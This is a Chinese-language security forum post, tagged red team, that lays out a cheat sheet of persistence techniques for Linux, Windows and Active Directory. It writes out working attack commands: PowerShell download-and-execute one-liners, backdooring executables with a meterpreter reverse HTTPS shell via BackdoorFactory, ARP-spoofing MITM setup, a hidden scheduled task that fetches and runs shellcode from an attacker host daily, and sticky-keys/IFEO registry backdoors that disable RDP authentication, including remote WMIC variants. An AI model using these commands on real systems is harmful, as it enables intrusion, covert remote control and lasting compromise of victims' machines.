DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 3730|回复: 0

[红队] 持久化

[复制链接]

172

主题

34

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
339
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-3-10 11:53:52 | 显示全部楼层 |阅读模式

一、参考指南



二、工具


2.1 BackDoorFactory


BDF 的目标是使用用户所需的 shellcode 来 patch 可执行二进制文件,并继续正常执行 pre-patch 状态。
  • 可以通过搜索开放共享找到最常用的二进制文件
    • 从受害者的命令 shell 开始
    • 下一步找到用户有权访问的网络上的所有共享
      1. Powershell.exe “IEX (New-Object Net.WebClient).DownloadString('https://raw/githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1'); Invoke-ShareFinder -ExcludeIPC -ExcludePrint -CheckShareAccess | Out-File -Encoding ascii found_shares.txt”
      复制代码
    • 下一步从共享中获取输出并开始枚举所有可执行文件并找到 LastAccessTime 和 LastWriteTime
      1. Powershell.exe “IEX (New-Object Net.WebClient).DownloadString('https://raw/githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1'); Invoke-FileFinder -ShareList .\found_shares.txt -FreshEXEs -ExcludeHidden -CheckWriteAccess"
      复制代码
    • 现在获取你选择的二进制文件的副本,对于以下示例,将选择 procmon.exe
      1. #cd /opt/the-backdoor-factory
      2. ./backdoor.py -f ~/Desktop/Procmon.exe -s meterpreter_reverse_https -H [your kali IP] -P 8080
      复制代码
    • 一旦执行了 backdoor.py,现在你需要找到一个 Code Cave 来保存你的 shell 代码
    • 一旦找到一个有效的 cave,按 "a" 来附加你的代码,完成后,BDF 会将新的 exe 放入到文件夹中被当作后门
    • 现在取出该文件并将其放回文件共享中
  • Setup - MITM
    • 运行 BDFProxy
      1. #bdfproxy
      复制代码
    • BDFProxy 将创建一个 metasploit 资源文件
      1. #msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc
      复制代码
    • 还需要配置防火墙以通过 mitmproxy 转发所有 http 流量
      1. #sysctl -w net.ipv4.ip_forward=1
      2. #iptables -t nat -a PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
      复制代码
    • 最后使用 arpspoofing 配置受害者主机以通过我们的机器进行路由
      1. #arpspoof -i eth0 [ip-vitim][ip gateway]
      2. #arpspoof -i eth0 [ip gateway][ip-victim]
      复制代码

2.2 其它工具


  • Egress Buster - EgressBuster 是一种测试单个区域的出口过滤有效性的方法
  • Sharpersist - 用 C# 编写的 Windows 持久化工具包
  • chromebackdoor - Chromebackdoor 是一款渗透测试工具的 PoC,该工具使用 MITB 技术在启动后生成一个 Windows 可执行文件 ".exe",在大多数流行的浏览器上运行恶意扩展程序或脚本,并发送所有 DOM 数据以进行命令和控制
  • Cymothoa - Cymothoa 是一种隐形后门工具,可将后门的 shellcode 注入现有进程,该工具使用 ptrace 库 (几乎所有 * nix 都可用) 来操纵进程并感染它们

三、Linux


3.1 Services


  • 在 /etc/init.d/service 创建一个 Bash 初始化脚本
  • 接下来运行 #sudo update-rc.d service enable
  • 这将在运行级别目录 2-5 中创建一个符号链接
  • 接下来在 /etc/inittab 中添加以下 respawn 命令
    • → id:2345:respawn:/bin/sh /path/to/application/startup
  • 最后启动和停止服务
    • → #sudo service service stop
    • → #sudo service service start
  • PTFM: .Service Persistence - pg. 88

3.2 systemd


  • linux 发行版的默认初始化守护程序
  • 向后兼容 System V 命令和初始化脚本
  • 确保服务具有 systemd 初始化脚本 @ /etc/systemd/system/multi-user.target.wants/service.service
  • 启动服务 # sudo systemctl enable service.service
  • 在文件 /etc/ 的 [Service] 部分下添加 "Restart=always"
  • systemd/system/multi-user.target.wants/service.service

3.3 Cron


  • 可供没有 root 访问权限的用户用来安排任务
  • PTFM: Cron Job Persistence - pg. 88

3.4 初始化文件


  • 登录后,所有与 Bourne 兼容的 shell 都获取 /etc/profile,而后者又获取 /etc/profile.d/ 中任何可读的 *.sh 文件
  • 这些脚本不需要解释器,也不需要可执行

3.5 图形环境


  • Gnome 和 KDE 图形启动代码
    • Rootkits

3.6 .bashrc and .bash_profile


  • PTFM: .bashrc and .bash_profile Persistence - pg. 87

3.7 PHP Web Shell


  • PTFM: Web Shell Persistence - pg. 87

四、Windows



4.1 定时任务持久化


  • RTFM: Task Scheduler Persistence - pg. 32
  • PTFM:  Task Scheduler - pg. 25
  • 我们可以使用 Metasploit 将 schtask 配置为每天运行一次以连接回我们的 Meterpreter 处理程序
  • 首先获取并修改一个 invoke-shellcode 的副本
    • #cd /opt/PowerSploit/CodeExecution
    • #cp Invoke-Shellcode.ps1 1.ps1
  • 接下来编辑脚本以添加 shell 信息
    • 填写监听器 IP 和端口时添加以下行
    • # invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost [LISTENER IP] -Lport [Listener-port] -Force
  • 现在有了一个缩短的 invoke-shellcode 脚本,并且可以将文件移至 Web 服务器
    • #cp 1.ps1/var/www/
    • #service apache2 start
  • 通过访问 htt[://[your ip]/1.ps1 进行验证
  • 现在我们向 schtasks 添加一个命令,该命令每天下载并运行目标脚本
    1. #schtasks /create /tn [Fake (service name] /tr “c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -NoLogo -WindowStyle hidden -Noninteractive -ep bypass -nop -c ‘IEX ((new-object net.webclient).downloadstring(’ ‘http://[Your IP]/1.ps1’ ‘ ’))' " /SC DAILY /ST 12:00:00
    复制代码
  • Options
    • 如果你有系统权限,那么就可以在 SYSTEM 下运行它,在上述命令中添加 "/ru System"
    • 如果你正在攻击 32 位系统,请将 schtask 中的 powershell 位置更改为 "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe"

4.2 粘滞键持久化


  • 利用粘滞键功能将粘滞键 exe 替换为 shell
  • 通过更改注册表设置完成
    • >REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /V Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
    • >REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
    • >REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
  • 可能还需要添加
    • >netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
    • >REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • 通过 WMIC 执行上述操作
    • >wmic /user:[username] /password:[password] /node:[server] process call create "C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d \ "C:\windows\system32\cmd.exe\" /f"
    • >wmic /user:[username] /password:[password] /node:[server] process call create "C:\Windows\system32\reg.exe ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f"
    • >wmic /user:[username] /password:[password] /node:[server] process call create "C:\Windows\system32\reg.exe REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\" /v SecurityLayer /t REG_DWORD /d 0 /f"
  • 如果使用 kerberos,我们可以将用户名和密码替换为 /authority:"Kerberos:[Domain]\[Server]"

4.3 Windows 辅助功能


  • 实现持久化的一种常见、低技能的方法是将 Windows 辅助功能的二进制文件替换为它们自己的恶意二进制文件,或者只是 Windows 'cmd.exe' 的重命名副本
  • 当用户尝试使用辅助功能 (例如粘滞键) 时,将执行 "sethc.exe" 二进制文件,攻击者可能已将其替换为 "cmd.exe",结果是用户将看到一个 Windows 命令提示符
  • 由于桌面和服务器的锁定屏幕提供了 Windows 辅助功能,因此无需任何凭据即可触发它们,并且由于没有用户登录到机器,Windows 不知道谁应该触发二进制文件,因此,恶意二进制文件将在 SYSTEM 帐户的上下文中运行。启用 RDP 的桌面和服务器增加了攻击者能够远程触发持久化机制的风险
  • 辅助功能的二进制文件位于 C:\Windows\System32\
    • sethc.exe – Sticky Keys
      • Magnify.exe – Magnifier
      • toolosk.exe – On-Screen Keyboard
      • Narrator.exe – Narrator
      • DisplaySwitch.exe – Display Switcher
      • AtBroker.exe – App Switcher

  • Image File Execution Option (IFEO) 功能允许将调试密钥添加到注册表中,这会导致在启动目标时执行调试二进制文件
    • SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<Target binary>
    • 然后,此注册表项添加名为 "Debugger" 的字符串值 (REG_SZ),其值包含路径和二进制名称,即 "C:\Users\Administrator\Malware.exe"

4.4 注册表注入


  • 攻击者可以通过利用 Windows 操作系统的合法功能在目标计算机上获得持久化的巧妙方法
  • 以你选择的任何形式 (通常是 exe) 将 stager 注入目标注册表位置
  • PTFM:  Registry Injection - pg. 25

Image File Execution Options Injection - IFEO

  • 镜像文件执行选项 (IFEO) 注册表项是开发人员常用的 Windows 功能,用于将调试器附加到他们的应用程序
  • IFEO 可以通过注册表或 GlobalFlags (gflags.exe) 直接设置,该应用程序是 Windows 10 SDK 的一部分
    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  • IFEO 还可以使监视器程序在另一个程序的静默退出时启动 (由自身或第二个非内核模式进程提前终止)
    • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
  • 用户可以在关闭另一个应用程序后执行任何二进制文件,或者在打开另一个应用程序时执行任何二进制文件作为调试器。这意味着,如果攻击者能够访问目标机器,他们可以滥用这些值来获得持久化和权限提升,方法是植入恶意可执行文件,以便在指定程序 (即 notepad.exe) 打开时加载和运行/关闭
  • 如果以这种方式隐藏,注入的 .exe 将需要专门编译为 Windows 服务,否则操作系统将杀死它
  • 另一种方法是让 stager 删除 DLL 而不是 EXE,并使用 rundll32 从注册表项中引用它
  • >RUNDLL32.exe dllnameentrypoint
  • 可以在注册表中存储和运行 Javascript

4.4 DLL 搜索顺序劫持



4.5 Application Shimming



五、AD Persistence


5.1 Golden Ticket



5.2 SID 历史



5.3 Silver Ticket



5.4 DCShadow



5.5 AdminSDHolder



5.6 Group Policy Object



5.7 Skeleton Keys



5.8 SeEnableDelegationPrivilege



5.9 Security Support Provider



5.10 Directory Services Restore Mode



5.11 ACLs & Security Descriptors


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-5-5 07:20 , Processed in 0.059238 second(s), 22 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表